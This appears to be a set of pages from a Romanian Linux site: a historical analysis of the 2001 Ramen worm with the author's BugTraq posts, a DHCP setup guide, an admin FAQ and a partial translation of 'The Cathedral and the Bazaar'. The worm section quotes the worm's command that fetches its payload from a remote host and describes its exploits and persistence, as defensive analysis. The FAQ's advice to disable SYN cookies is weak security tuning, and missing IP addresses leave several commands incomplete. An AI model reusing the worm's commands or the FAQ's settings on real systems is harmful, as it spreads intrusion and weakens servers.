Analiza Ramen Worm

In 2001 am prins , analizat , disecat primul malware de linux cu autoreplicare ce a primit numele de Ramen Worm. La vremea respectiva au aparut articole in toate publicatiile online majore. Aceasta analiza este pastrata aici din motive istorice in primul rind.

Ramen Worm - General Details

1. Is this realy a worm ?
Yes it is .
2. Why ?
It has multiplication ability and it does not infect executables file in order
to multiplicate so it can not be considered a Virus .
3. Multiplication technique :
It will scan whole networks ( random B class networks XXX.XXX.0.0/ in order find vulnerable systems.
Once a vulnerable system is found it will take control of it ( the worm will have root access on compromised machine) ,
copy itself to the target , and start scanning .

4. Vulnerabilities exploited by the worm
wu-ftpd version 2.6.0
LPRng format vulnerability
rpc.statd    vulnerability

5. Systems Affected
Strings found in the worm indicates that the following systems are targeted :
Redhat 6.0 - (knfsd-1.2.2-4)
Redhat 6.1 - (knfsd-1.4.7-7)
Redhat 6.2 - (nfs-utils-0.1.6-2)
RedHat 7.0 - Guinesss-dev
RedHat 7.0 - Guinesss
but can be affected any other linux running wu-ftpd 2.6.0 or rpc.statd

6.   Systems that are not affected
Win 9x , Win NT , Win 2000
Non X86 Unixes.

7. Worm effects
a) Once a system is compromised the worm will find and replace any index.html file with one file carried inside worm .
b) it will disable on compromised machine FTP anonymous access to the machine ( my oppinion this is a "bug" in the worm )
c) it will disable and erase rpc.statd from the compromised machine
d) it will disable and erase lpd deamon from the compromised machine so any printing on that machine will be impossibe .
e) it will modify inetd.conf on RedHat 6.x and xinetd.conf on RedHat 7.0 and install a fake webserver
on a non standard port (my oppinion it can contain also a buffer overflow exploitable
remotely. But i could't prove that yet). By installing this it allows the spread of the worm.
f) it will remove /etc/hosts.deny
g) it will modify /etc/rc.d/rc.sysinit allowing the worm to be started each time machine is rebooted .
h) it will send mail to the following addreses ( this 2 mail addreses and a password "bl3h" were encrypted in the worm )
i) Once worm starts scanning it will consume a large amount of your internet bandwidth. The scanning is verry fast due to
usage of synscan technique .
j) Once the system is rebooted it will restart scanning .

8. Spreading
The worm is spreading very fast due to his very fast Class B network scanning technique . On our network (10 Mb / sec)
the hub was in limitation and the whole bandwidth was consummed. It scanned 2 "B classes" in 15 minutes.

9. Danger
The worm itself seemns is dangerous due to network bandwith consumation , and due to posibility ( not proved yet ) of
remote accessing the compromised box by the worm author.

10. Percentage of boxes vulnerable
There are many boxes vulnerable. It is quite common that Redhat 6.2 or Redhat 7.0 to be installed "standard" making
them vulnerable to this worm. My estimation is that in a class B network worm will find at least 10-20 vulnerable boxes.

My Original postings to BugTraq:


  sunrpc / wu-ftpd worm ?
  Mon, 15 Jan 2001 22:41:50 +0200
  Mihai Moldovanu mihaim AT PROFM dot RO
  Radio ProFM

Cristian Dumitrescu wrote:

> Hey
> I've been experiencing the same kind of scans in the last 2 weeks, with
> increased density in the last days, from these ip addreses:
> >
> >
> >
> >
> >
> >

Same problems here :

But the most interesting is : wich seems to be a worm launcher site .
It will connect to the taget machine on 111 or 21 and will exploit the well
rpc.statd and wu-ftp 2.6.0 bug to
gain root on the remote machine.

The tar itself is downloaded from the that machine on port 27374 .

" lynx -source http://%s:27374 > /usr/src/.poop/ramen.tgz "

After a succesfull install it seems it will send a mail with the command :
" echo Eat Your Ramen! | mail -s % % " to some obscure account .

It seems that it has some sort of class B scanner and exploits for rpc.statd and

If anyone is interested in taking a deeper look in it mail me and i will send
.tgz  or you can get it from the site i mentioned above.

Best Regards,

Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)


  Re: anyone else seen an increase in sunrpc scans these days?
  Mon, 15 Jan 2001 14:40:16 +0200
  Mihai Moldovanu mihaim at profm dot ro
  Radio ProFM

Jason Lewis wrote:

> I couldn't find any of those addresses, but I have similar scans in my logs.

Yes . The same problem here . But not only 111 . 21 also.
We deployed a honnypot and waited to be compromised. It took 12 hours to be
compromised. I took it out of the network
and this is what i found on it :
It seemns like a worm that installs StatDXscan  ( Class B rpc.statd scanner) ,
wu-ftpd scanner , a modified t0rn rootkit along with Adore LKM rootkit , and
tools : Sl2 , smurf5 , tojaned sshd running on port 48480 )
t0rnscan  has inside it the following string:

Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)

  Ramen worm . More details on it. ( found a password and e-mails crypted inside it)
  Tue, 16 Jan 2001 22:19:30 +0200
  Mihai Moldovanu mihaim at profm dot ro
  Radio ProFM

I completed reverse engineering the ramen worm. There are 3 crypted text
messages in the worm :
2 are email addresses :
Decrypted: "" ,  in executable ->  "fa20226?gnsl`hk-bnl"
Decrypted: "" ,   in executable ->  "fa20226?x`gnn-bnl"
and a crypted password :
Decrypted "bl3h"  ,   in executable -> "ak2g"
This texts can be found in almost all ELF worm executables.
Crypting algorithm is verry easy.

For each characted in crypted text add 1 and you will obtain the plain text
i used the following C code to decrypt :

for (i= 0 ;i < strlen(text) ;i++) a[i] = a[i] +1;

The asp executable ( the one wich get's installed in /sbin/asp and serve
requests on 27374 )  has a strange getline function coded wich
seems to be specialy crafted to allow remote upload / execution of code .
Unfortunately I can't prove that function have a buffer
overflow in it .

Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)

Configurarea DHCP

Configurarea serverului DHCP

Dupa ce aveti un sistem TFM/GNU Linux instalat cu cel putin o place de retea in sistem tastati ifconfig -a. Ar trebui sa vedeti ceva de genul:

eth0      Link encap:10Mbps Ethernet  HWaddr 00:C0:4F:D3:C4:62
          inet addr:  Bcast:  Mask:
          RX packets:2875542 errors:0 dropped:0 overruns:0
          TX packets:218647 errors:0 dropped:0 overruns:0
          Interrupt:11 Base address:0x210

Daca nu spune MULTICAST va trebui sa va reconfigurati kernel-ul si sa adaugati suportul pentru multicast. Acest pas este necesar doar daca aveti un sistem TFM/GNU Linux cu kernel customizat. In mod implicit TFM/GNU Linux vine cu suport de multicast in kernel.

Urmatorul pas este sa adaugati ruta pentru Citat din DHCPd README:

”Pentru ca dhcpd sa functioneze corect cu clientii DHCP (ex. Windows 95), el trebuie sa fie capabil de a trimite pachete cu destinatia adresa IP Din pacate, Linux insista sa schimbe in adresa de subnet broadcast locala (aici, aceasta fiind Aceasta se transforma intr-o violare de protocol DHCP, iar in timp ce multi clienti DHCP nu detecteaza aceasta problema, unii (ex. toti clientii DHCP Microsoft) o fac. Clientii care au aceasta problema vor parea ca nu vad mesajele DHCPOFFER care vin dinspre server.”

Tastati: route add -host dev eth0

Daca primiti mesajul “ Unknown host”, puteti incerca sa adaugati urmatoarea intrare in fisierul /etc/hosts : all-ones

Apoi, tastati:

route add dev eth0

eth0 este desigur numele placii de retea pe care o folositi. Daca difera, schimbati-l cu cel corespunzator.

Optiuni ale DHCPD

Acum trebuie sa configurati DHCPD. Pentru a putea face aceasta, va trebui sa creati sau sa editati /etc/dhcpd/dhcpd.conf.

Cel mai probabil, ceea ce veti dori sa faceti va fi sa alocati adresele IP la intamplare. Aceasta poate fi facuta cu urmatoarele setari:

# Exemplu /etc/dhcpd.conf
# (add your comments here)
default-lease-time 600;
max-lease-time 7200;
option subnet-mask;
option broadcast-address;
option routers;
option domain-name-servers,;
option domain-name "";

subnet netmask {

Aceasta va avea ca rezultat in serverul DHCP alocarea catre un client a unui IP din sirul sau Va atribui o adresa IP pentru 600 de secunde, daca clientul nu cere un interval specific de timp. In caz contrar, maximul (permis) alocat va fi de 7200 de secunde. De asemenea, serverul va “sfatui”clientul ca ar trebui sa foloseasca ca subnet mask, ca adresa de broadcast, ca router/gateway si si ca servere DNS.

Daca veti avea nevoie sa specificati un server WINS pentru clientii dumneavoastra de Windows, va trebui sa includeti optiunea netbios-name-servers ca, de exemplu:

option netbios-name-servers;

Puteti, de asemenea, sa specificati adrese IP bazate pe adresele de ethernet ale clientilor, de exemplu:

host haagen {
   hardware ethernet 08:00:2b:4c:59:23;

Aceasta va aloca adresa IP unui client cu adresa ethernet 08:00:2b:4c:59:23.

De asemenea, prelucrand aceste exemple, puteti obtine clienti care sa aiba adrese IP “statice” (ex. servere) si altii cu IP-uri repartizate dinamic (ex. utilizatorii mobili cu laptop-uri). Exista si alte optiuni, de exemplu adresele de nis server, adresele de time server etc., daca aveti nevoie de aceste optiuni va rugam cititi manualul dhcpd.conf.

Pornirea dhcpd in TFM/GNU linux

Pornirea serviciului dhcpd in linux se face :

/etc/rc.d/services/rc.dhcpd start

Oprirea dhcpd in TFM/GNU Linux

/etc/rc.d/services/rc.dhcpd stop

Alte documente interesante

Linux Magazine are un articol destul de bun in numarul sau din Aprilie, numit Network Nirvana: How to make Network Configuration as easy as DHCP, care vorbeste despre setarea DHCP.

Note Finale

  • trebuie scrisa partea referitoare la rc.dhcrelay

Intrebari frecvente

I: This guide didn’t aswered my question. What can i do ?
R: You can send an email to us and we will answer your question.

I: Where is located the password config file for PPTP tuneling ?
R: The password can be found in /etc/ppp/chap-secrets

I: How can I create a new user, delete one or change it’s password ?
R: Use the commands useradd and passwd:
useradd username
userdel username
passwd username

I: Is there a browser in text mode in TFM ?
R: Yes, use Elinks with the following commands:

I: How can I test an email account and send throught it’s server using telnet ?
R: Use the following commands, considering you want to send from mail server called

dig MX (to find the Mail Exchanger IP )
telnet 25
mail from:
rcpt to:
blah blah

I: How can I see what processes are eating too much CPU time or RAM ?
R: Use “top” command.

I: How to find how much free space I got on every mounted device ?
R: Use “df -aH ” command.

I: How to find how fast my hard drives are ?
R: Use the following command:
hdparm -tT /dev/hda3 (where hda3 is the drive/partition you want to benchmark You will get a result like this:
Timing buffer-cache reads: 128 MB in 1.08 seconds =118.52 MB/sec
Timing buffered disk reads: 64 MB in 1.61 seconds = 39.75 MB/sec

I: How can i monitor the trafic on a specific interface ?
R: Use “iptraf” or “netrate” command.

I: Where is my site hosted by default ?
R: By default it’s in /var/www

I: Where from can i manage my ftp accounts via web ?
R: You can use TFM pureftpd admin, located in

I: How to see what hard drives i got inside my server ?
R: Use “fdisk -l”.

I: How to see how much space a directory uses ?
R: Use “du -s”

I: How to stop all processes named “*http” ?
R: Use “killall http”

I: How to setup Vacation mode for a specified mail account ?
R: Use Qmailadmin (usually found in and Edit mail account, then check Vacation and set the Vacation message.

I: How to forward an email that’s in Vacation mode ?
R: After using Qmailadmin and setting up Vacation mode, go into /var/vpopmail/domains/ and you will see a file called .qmail. Edit it and add as a second line the path to the email account maildir you want to be forwarded (for example /var/vpopmail/domains/

I: How to set a task to be executed hourly/daily/weekly/monthly ?
R: In /etc directory, you will find:

Create in there an executable file containing the command you want to be executed daily. For example:


/usr/bin/php update.php

I: How to find where a file is located ?
R: Use “whereis” command. For example “whereis top”

I: Serverul meu trebuie sa suporte un numar foarte mare de conexiuni. Ce setari trebuie sa fac ?
R: Setarile recomandate pentru un numar foarte mare de conexiuni sint:

echo 83886080 > /proc/sys/net/core/wmem_max
echo 83886080 > /proc/sys/net/core/wmem_default
echo 335544320 > /proc/sys/net/core/rmem_max
echo 335544320 > /proc/sys/net/core/rmem_default
echo 65536 > /proc/sys/fs/file-max
echo 65536 > /proc/sys/net/ipv4/tcp_max_tw_buckets
echo 65536 > /proc/sys/net/ipv4/tcp_max_syn_backlog
echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle
echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse
echo 15 > /proc/sys/net/ipv4/tcp_fin_timeout
echo 0 > /proc/sys/net/ipv4/tcp_syncookies
echo 100000 > /proc/sys/net/core/netdev_max_backlog

Catedrala si bazarul

Catedrala si Bazarul

de Eric S. Raymond

tradusa de Mihai Moldovanu (mihaim LA tfm PUNCT ro)

Disec un proiect free-software de succes, fetchmail, care a fost condus ca test al unor teorii surprinzatoare despre dezvoltarea softului sugerate de istoria Linuxului. Discut aceste teorii ca doua stiluri de dezvoltare fundamental diferite, “catedrala” (modelul marii majoritati in lumea comerciala) vis a vis de “bazar” (modelul lumii Linuxului). Arat ca aceste modele deriva din principii opuse asupra naturii software-debugging task. Apoi sustin afirmatia “cu destui ochi, toate bug-urile sint reduse” cu argumente din experienta Linuxului, sugerez analogii productive cu alte sisteme auto-corectante ale agentilor individuali si concluzionez cu o explorare a implicatiilor acestui punct de vedere pentru viitorul softului.

1. Catedrala si Bazarul

Linuxul este subversiv. Cine s-ar fi gindit, chiar acum 5 ani, ca un sistem de operare world-class s-ar putea realiza ca prin minune datorita hackinguluipart-time al citorva mii de developeri raspinditi pe tot globul, uniti numai prin slabele legaturi ale Internetului ?

Eu sigur nu. Pina cind Linuxul a aparut pe radarul meu la inceputul lui 1993,deja fusesem implicat de 10 ani in dezvoltarea Unixului si free-softului. Am fost unul din primii GNU contributors la mijocul anilor 80.Pusesem o multzime de free software pe internet, dezvoltind singur sau cu altii mai multe programe (nethack, Emacs VC si GUD, xlife, etc.) care inca se mai folosesc. Credeam ca stiam cum se face.

Linux a rasturnat multe din cunostintele mele. Am propovaduit utilitarele mici, obtinerea rapida a prototipurilor si programarea evolutiva din Unix ani de zile. Dar am crezut ca exista un grad de complexitate critic, de la care este necesara o abordare o abordare mai centralizata. Credeam ca softul cel mai important (sisteme de operare si utilitarele cu adevarat mari cum ar fi Emacs) necesita o constructie tip catedrala, fiind concepute cu grija de un vrajitor sau de grupuri mici de magi in izolare, beta fiind lansate cind le vine timpul si nu inainte.

Stilul de dezvoltare al lui Linus Torvald – release devreme si des, delega tot ce poti, fii deschis pina la dezordine – a fost o surpriza. Aici nu exista o constructie de catedrala, in liniste shi cu respect – mai curind, comunitatea Linux seamana cu un mare bazar agitat, cu agende de lucru si abordari diferite (simbolizat din plin de siteurile archive Linux, care ar inscrie pe oricine) din care ar parea ca un sistem coerent si stabil ar putea aparea numai printr-o succesiune de miracole.

Adevarul ca acest stil de bazar parea sa mearga si a fost un soc ca inca bine. Pe masura ce ma orientam, am lucrat nu numai la proiecte individuale, ci am si incercat sa inteleg de ce lumea Linux nu numai ca nu se dezintegra in confuzie, ba chiar devenea tot mai puternica cu o viteza greu de conceput pentru stilul Catedrala.

Catre mijlocul anului 1996 am crezut ca incep sa inteleg. Sansa mi-a oferit-o metoda perfecta de a-mi testa teoria, sub forma unui proiect free-software pe care am putut sa incerc sa-l conduc in stilul Bazar. Asa am si facut – si a fost un succes semnificativ.

In restul articolului voi povesti acest proiect si-l voi folosi pentru a propune citeva aforisme despre dezvoltarea efectiva a free-software. Nu am aflat toate astea in lumea Linux, dar vom vedea cum lumea Linux le particularizeaza. Daca am dreptate, va vor ajuta sa intelegeti exact ce face comunitatea Linux o sursa de soft bun – si sa deveniti mai productivi.

2. Mailul trebuie sa treaca

Din 1993 m-am ocupat de partea tehnica a unui free-access ISP mic, numit Chester County InterLink (CCIL) in West Chester, Pennsylvania (am fost unul din fondatorii CCIL si am scris singurul nostru software BBS multiuser – puteti verifica prin telnet la Azi suporta aproape 3000 de useri pe 19 linii). Serviciul mi-a permis acces pe net 24 de ore din 24 prin linia de 56K a CCIL – practic, mi l-a impus ca o necesitate.

Asadar, ma obisnuisem cu email instantaneu pe Internet. Din motive complexe, a fost greu sa fac SLIP sa lucreze intre acasa ( si CCIL. Cind am reusit in cele din urma, m-am trezit ca telnet la locke periodic pentru mail era enervant. Ce vroiam era ca mailul sa vina la snark astfel
incit biff(1) sa ma anunte cind sosea.

Simplul forward sendmail n-ar fi mers, pentru ca snark nu e intotdeauna pe net si nu are o adresa statica IP. Ce-mi trebuia era un program care ar fi ajuns prin conexiunea mea SLIP si mi-ar fi trimis mailul local. Stiam ca exista asa ceva si majoritatea foloseau un protocol simplu numit POP (Post Office Protocol). Si aproape sigur era deja un server POP3 inclus in sistemulde operare BSD/OS al lui locke.

Aveam nevoie de un utilizator POP3. Asa ca am mers pe net si am gasit unul. De fapt, am gasit 3 sau 4. Am folosit pop-perl o vreme, dar ii lipsea ceea ce parea o trasatura evidenta, capacitatea de a modifica adresa la fetched mail astfel incit raspunsul sa functioneze corect.

Problema era: presupunind ca cineva pe nume “Joe” de pe locke imi trimiteamail. Daca transferam mailul pe snark si apoi incercam sa raspund, mailerul meu ar fi incercat sa trimita raspunsul la un “Joe” inexistent de pe snark. Scrierea adreselor de mina a devenit repede o suferinta serioasa.

Asta ar fi trebuit sigur sa faca computerul pentru mine (de fapt, in conformitate cu RFC1123 sectiunea 5.2.18, sendmail ar fi trebuit s-o faca). Dar niciunul din utilizatorii POP existenti nu stia cum ! Si asta ne aduce la prima lectie:

Orice treaba buna in domeniul softului incepe prin a rezolva o
problema personala a developerului

Poate ca ar fi trebuit sa fie evident (e proverbial ca “Necesitatea este mama inventiilor”), dar prea des developerii de software isi petrec timpul asteptind plata unor programe de care nu au nevoie si la care nu tin. Dar asta nu se intimpla in lumea Linux – ceea ce ar putea explica de ce calitatea softului produs in aceasta lume este atit de buna.

Deci, m-am lansat eu imediat intr-un virtej dezlantuit pentru a crea un nou utilizator POP3 care sa concureze cu cei existenti ? Niciodata ! Am cautat cu grija intre utilitarele POP pe care le aveam la indemina, intrebindu-ma “care e cel mai aproape de ceea ce vreau ?”. Pentru ca :

Programatorii buni stiu ce sa scrie. Cei foarte buni stiu ce sa
rescrie (si refoloseasca)

In timp ce n-am pretentia ca as fi un foarte bun programator, incerc sa imit unul foarte bun. O trasatura importanta a celor foarte buni este lenea constructiva. Ei stiu ca nota maxima se obtine prin rezultate, nu prin efort si e aproape totdeauna mai usor cu acest punct de plecare decit sa pornesti de la zero.

Linus, de exemplu, n-a incercat sa scrie Linuxul de la inceput. A inceput prin a refolosi code si idei din Minix, un OS Unix-like mic pentru 386. In cele din urma, Minix code a disparut sau a fost complet rescris – dar cit a fost, a fost structura pentru puiul care in final a devenit Linux.

Pe aceeasi idee, am cautat un utilitar POP existent care era suficient de bine scris, pentru a crea o baza.

Traditia de source-sharing din lumea Unix a fost intotdeauna deschis pentru refolosirea code (de aceea proiectul GNU a ales Unix ca OS de baza, in ciuda rezervelor asupra OS insusi). Lumea Linux a dus aceasta traditie aproape de limita tehnologica; are terrabytes de surse deschise si accesibile. Asa ca ai mai multe sanse de a gasi un aproape-suficient in lumea Linux decit oriunde in alta parte.

Si mie mi-a mers. Cu ce gasisem deja, a doua cautare a dus la un total de 9 candidate – fetchpop, pop Tart, get-mail, gwpop, pimp, pop-perl, popc, popmail si upop. Primul pe care l-am instalat a fost “fetchpop” de Seung-HongOh. Am folosit rescrierea headerelor si am facut alte imbunatatiri pe care autorul le-a acceptat in varianta 1.9.

Totusi, dupa citeva saptamini, am dat peste “popclient” code de Carl Harris si am descoperit ca am o problema. Desi fetchpop avea citeva idei originale bune (cum ar fi daemon mode-ul), nu mergea decit POP3 si era destul de amator scris (Seung-Hong era un programator destept dar fara experienta, ceea ce se vedea in ambele variante). Code-ul lui Carl era mai bun, profesionist si solid, dar ii lipseau destul de multe caracteristici fetchpop importante si greu de implementat (inclusiv cele pe care le scrisesem eu).

Sa perseverez sau sa schimb ? Daca schimbam, renuntam la tot ce facusem deja pentru o baza de implementare mai buna.

Un motiv practic pentru schimbare era suportul multiple-protocol. POP3 este cel mai folosit intre protocoalele de posta, dar nu singurul. Fetchpop si celelalte nu mergeau pe POP2, RPOP sau APOP si eu deja ma gindeam ca as putea adauga, poate, IMAP (Internet Message Access Protocol, cel mai nou si mai puternic protocol de posta) de amorul artei.

Dar aveam si un motiv teoretic sa cred ca schimbarea in sine ar fi buna, ceva ce am invatat mult inainte de Linux.

“Planuieste sa arunci intr-o singura directie; oricum o vei face”

(Fred Brooks, “Miticul Om-Luna” capitolul 11)

Altfel spus, nu intelegi intr-adevar problema pina cind nu gasesti o solutie.A doua oara, poate ca vei sti suficient ca s-o rezolvi. Asa ca daca vrei sa rezolvi ceva, fii pregatit sa o iei de la capat cel putin o data. Ei bine (m-am gindit), schimbarile la fetchpop au fost prima mea incercare.
Asa ca am schimbat.

Dupa ce am trimis primul set de corecturi la popclient la Carl Harris pe 25 iunie 1996, am aflat ca el isi pierduse de ceva timp interesul pentru popclient. Code-ul era putin prafuit, cu bug-uri minore. Am avut de facut multe schimbari si am cazut de acord ca logic era sa preiau eu programul.

Fara sa bag de seama, proiectul crescuse. Nu ma mai gindeam numai la schimbari minore la un POP client existent. M-am angajat la crearea unuia intreg si imi forfoteau idei in cap care ar fi dus probabil la schimbari majore.

Intr-o cultura soft care incurajeaza code-shearing-ul, asta este modul natural de evolutie al unui proiect. Mergeam pe ideea:

Daca ai atitudinea corecta, te vor gasi probleme interesante.

Dar atitudinea lui Carl Harris a fost chiar mai importanta. El a inteles ca:

Atunci cind iti pierzi interesul pentru un program, ultima ta datorie fata de el
este sa-l predai unui succesor competent

Fara sa discutam vreodata despre asta, Carl si eu stiam ca avem scopul comun de a gasi cea mai buna solutie. Singura intrebare pentru fiecare dintre noi era daca eu puteam dovedi ca intra pe miini bune. Odata ce am facut-o, el a reactionat cu eleganta si promptitudine. Sper ca si eu voi reactiona la fel cind imi va veni rindul.

3. Importanta de a avea useri

Si asa am mostenit popclient. La fel de important, am mostenit baza de useriai popclient. E minunat sa ai useri si nu numai pentru ca demonstreaza ca satisfaci o nevoie, ca faci ceva bine. Corect tratati, pot deveni co-developeri.

O alta forta a traditiei Unix, si din nou una pe care Linuxul o impinge la o extrema fericita, este aceea ca multi useri sint si hackeri – si pentru ca sursa code este la indemina, ei pot fi hackeri efectiv. Asta poate fi extrem de folositor pentru scurtarea timpului de debugging. Cu putine incurajari, userii vor gasi probleme, vor sugera solutii si vor ajuta la imbunatatirea code-ului mult mai repede decit ai putea fara ajutor.

Sa-ti tratezi userii ca co-developeri este cea mai comoda cale catre
ameliorarea rapida a code-ului shi debugging-ul eficient

Puterea acestui efect poate fi usor subestimata. Intr-adevar, cam toti din lumea free-softului am subestimat drastic cit de bine se poate creste cu numarul de useri si contra complexitatii sistemului pina cind ne-a demonstrat Linuxul ca ne inselam.

Intr-adevar, cred ca partea cea mai desteapta, determinanta, a Linuxului nu a fost constructia kernel-ului, ci mai curind inventarea modelului de dezvoltare. Cind mi-am exprimat aceasta opinie in prezenta lui, a zimbit si a repetat ceva ce spunea frecvent: “Sint structural o persoana foarte lenesa careia ii place sa culeaga meritele de pe urma unor lucruri pe care de fapt le fac altii”. Lenes ca o vulpe. Sau, cum ar fi putut spune Robert Heinlein, prea lenes pentru a rata.

Retrospectiv, un precedent al metodelor si succesului Linuxului poate fi vazut in dezvoltarea librariei GNU Emacs Lisp si arhivelor Lisp code. Spre deosebire de stilul “catedrala” al nucleului Emacs C si al majoritatii celorlalte FSF tools, evolutia Lisp code a fost fluida si condusa de useri. Idei si prototipuri au fost rescrise frecvent de 3-4 ori inainte de a obtine o forma finala stabila. Si colaborari laxe-asociate, permise de Internet, au fost frecvente.

Intr-adevar, cel mai bun hack facut de mine inainte de fetchmail a fost probabil stilul Emacs VC, o colaborare similara Linuxului prin email cu alte 3 persoane, dintre care pina astazi am intilnit numai una (Richard Stallman).A fost un front-end pentru SCCS, RCS si, mai tirziu, CVS din cadrul Emacs care oferea operatii de controlul versiunilor “one-touch”. A evoluat dintr-un sccs.el mode mic, brut, scris de altcineva. Si VC s-a dezvoltat pentru ca, spre deosebire de Emacs, Emacs Lisp code a putut trece prin generatii de release/test/imbunatatire foarte repede.

(Un efect secundar neasteptat al politicii FSF de a incerca sa adauge code in GPL este acela ca devine procedural mai greu pentru FSF sa foloseasca stilul bazar, intrucit cred ca trebuie sa obtina copyright pentru fiecare contributie individuala din mai mult de 20 de linii pentru a asigura GPLed code de pretentii asociate legii copyrightului. Userii BSD si MIT X . Licentele consortiilor nu au aceasta problema intrucit ei nu incearca sa rezerve drepturi pe care cineva ar putea sa le ceara.)

4. “Release” devreme si des

Release-urile cit mai devreme si mai des sint o parte esentiala a modelului de dezvoltare Linux. Majoritatea developerilor (inclusiv eu) credeau ca este o politica proasta pentru proiecte mai mari pentru ca primele versiuni sint, prin definitie, pline de bugguri si nu se doreste exasperarea userilor.

Aceasta idee a intarit angajarea in stilul de dezvoltare “catedrala”. Daca obiectivul final era ca userii sa gaseasca cit mai putine bugguri, de ce sanu existe un release la 6 luni (sau mai rar) si intre release-uri sa muncestica un ciine la debugging. Asa a fost dezvoltat Emacs C. Libraria Lispnu – pentru ca erau arhive Lisp active in afara controlului FSF, unde puteai gasi versiuni code noi, dezvoltate independent de ciclul de release al Emacs.

Cea mai importanta dintre acestea, arhiva Ohio State elisp, a anticipatspiritul si multe din caracteristicile arhivelor Linux de azi. Dar putini s-au gindit intr-adevar la ce faceam sau la ce sugera chiar existenta acelei arhive despre problemele din modelul de dezvoltare “catedrala” din FSF. Am facut o incercare serioasa prin 1992, sa obtin mult din acest code in libraria oficiala Emacs Lisp. Am intrat intr-o problema de politica si n-am avut nici un succes.

Dar un an mai tirziu, cind Linuxul a devenit vizibil pe scara larga, a devenit clar ca acolo se petrecea ceva diferit si mult mai sanatos. Politica de dezvoltare deschisa a lui Linus era exact opusul stilului “catedrala”. Sunsite-ul si arhivele tsx-11 cresteau, erau lansate distributii multiple. Si totul era condus de o frecventa de release nemaiauzita.

Linus isi trata userii ca fiind co-developeri in modul cel mai eficient posibil:

Release devreme. Release frecvent. Si asculta-ti clientii.

Inovatia lui Linus nu a constat atit din idee in sine (ceva asemanator era traditia lumii Unix de mult timp), ci din aducerea ei la o intensitate care se potrivea cu complexitatea proiectului pe care il dezvolta. La inceput nu era neobisnuit sa dea mai mult de un nou kernel release pe zi! Si, pentru ca si-a cultivat baza de co-developeri si utiliza internetul mai mult decit oricine altcineva pentru colaborari, a functionat.

Dar cum a functionat ? Si era ceva ce puteam face si eu, sau se baza pe geniul unic al lui Linus ?

Nu credeam. Cu siguranta, Linus e un hacker al naibii de bun (citi dintre noi ar putea constitui un intreg OS kernel productie-calitate ?). Dar Linux nu reprezenta nici un salt uimitor inainte. Linus nu este (sau cel putin nu inca) un geniu inovativ de genul Richard Stallman sau James Gosling. Linus mi se pare mai curind un geniu al inginerie, cu un al saselea simt in evitarea bugurilor si liniilor moarte in dezvoltare si un adevarat talent in a gasi calea cea mai usoara de la A la B. Intr-adevar, intregul design al Linuxului degaja aceasta calitate si oglindeste stilul lui Linus esential conservator si simplificator.

Deci, daca release-uri rapide si utilizarea Internetului la maxim nu erau accidente, ci parti integrale ale stilului lui Linus genial de a gasi calea cea mai usoara, ce amplifica ? Ce pusese el la lucru ?

Pusa astfel, intrebarea contine raspunsul. Linus isi tinea hacker/user-ii stimulati si rasplatiti permanent – stimulati prin perspectiva de a avea o parte a lor sa le satisfaca ego-ul, rasplatiti prin urmarirea imbunatatirilor(chiar zilnic) a muncii lor.

Linus tintea direct la maximalizarea numarului de persoane-ore ocupate cu debuggingul si dezvoltarea, chiar cu posibilul pret al instabilitatii in code si baza de useri epuizati in cazul in care un bug serios se dovedea nerezolvabil. Linus se comporta ca si cum ar fi crezut ceva de genul:

Cu o baza de beta-testeri si co-developeri suficient de mare, aproape orice problema va fi gasita rapid si va avea o solutie evidenta pentru cineva.

Sau, mai putin formal, “cu destui ochi, toate bugurile sint reduse”. Asta numesc “legea lui Linus”

Formularea mea initiala a fost ca orice problema “va fi transparenta pentru cineva”. Linus a constatat ca persoana care intelege si rezolva o problema nu este obligatoriu, nici macar de obicei, cea care o gaseste. El spune “Cineva gaseste problema si altcineva o intelege. Si sustin ca gasirea ei este cea mai mare provocare”. Dar important este ca totul se intimpla repede.

Aici, cred eu, este diferenta esentiala intre stilurile “catedrala” si “bazar”. In stilul catedrala, bugurile si problemele de dezvoltare sint inselatoare, ascunse, profunde. Este nevoie de luni de cautari ale putinilor developeri pentru a crede ca toate au fost eliminate. De aici rarele release-uri si dezamagirea inevitabila atunci cind release-urile mult asteptate nu sint perfecte.

In stilul “bazar”, pe de alta parte, presupui ca bugurile sint reduse, sau, cel putin, se reduc foarte repede cind sint prezentate miilor de co-developeri care asteapta nerabdatori fiecare nou release. Asa, apare efectul benefic al corecturilor frecvente si e mai putin de pierdut daca accidental iese o gafa.

Si asta este. Ajunge. Daca “legea lui Linus” e falsa, atunci nici un sistem complex ca kernel-ul Linux, modificat de atitea miini, ar fi trebuit sa se prabuseasca sub greutatea unor interactiuni proaste si unor buguri nedescoperite, ascunse. Pe de alta parte, daca e adevarata, e suficienta pentru a explica lipsa relativa de buguri din Linux.

Si poate n-ar fi trebuit sa fie asa o surpriza. Sociologii au descoperit cu ani in urma ca opinia medie a maselor de observatori la fel de experte (sau ignorante) e un factor de predictie mai bun decit un observator ales aleator.Au numit asta “efectul Delphi”. Se pare ca Linus a aratat ca se aplica si debugging-ului unui OS – ca efectul Delphi explica complexitatea dezvoltarii chiar la nivelul complexitatii unui OS kernel.

Ii sint dator lui Jeff Dutky[1] pentru ca a aratat ca legea lui Linus poate fi reformulata ca “debugging-ul este paralelizabil”. Jeff observa ca desi pentru debugging este necesar ca debuggerii sa comunice cu un developer coordonator, nu este necesara o coordonare semnificativa intre debuggeri. Astfel nu mai este atit de greu si nu mai are costuri atit de mari de management sa adaugi developeri.

In practica, pierderea teoretica de eficienta datorata duplicarii muncii debuggerilor, nu pare sa fie o problema aproape niciodata in lumea Linux. Un efect al “politicii release-urilor devreme si des” este acela de a minimaliza aceasta duplicare, propagind feed-back rapid cu corecturile.

Brooks a facut chiar o observatie legata de a lui Jeff: “Costul total de intretinere a unui program larg folosit este de obicei 40% sau mai mult din costul dezvoltarii lui. Surprinzator, acest cost este puternic afectat de numarul de useri. Mai multi useri gasesc mai multe buguri”. (concluzia mea)

Mai multi useri gasesc mai multe buguri deoarece userii aduc moduri diferite de utilizare a sistemului. Acest efect este amplificat atunci cind userii sint co-developeri. Fiecare abordeaza sarcina de gasire a bugurilor cu instrumente usor diferite conceptual si analitic, un unghi diferit de abordare al problemei. “Efectul Delphi” pare sa functioneze tocmai datorita acestei variatii. In contextul specific al debugging-ului, variatia tinde si sa scada duplicarea efortului.

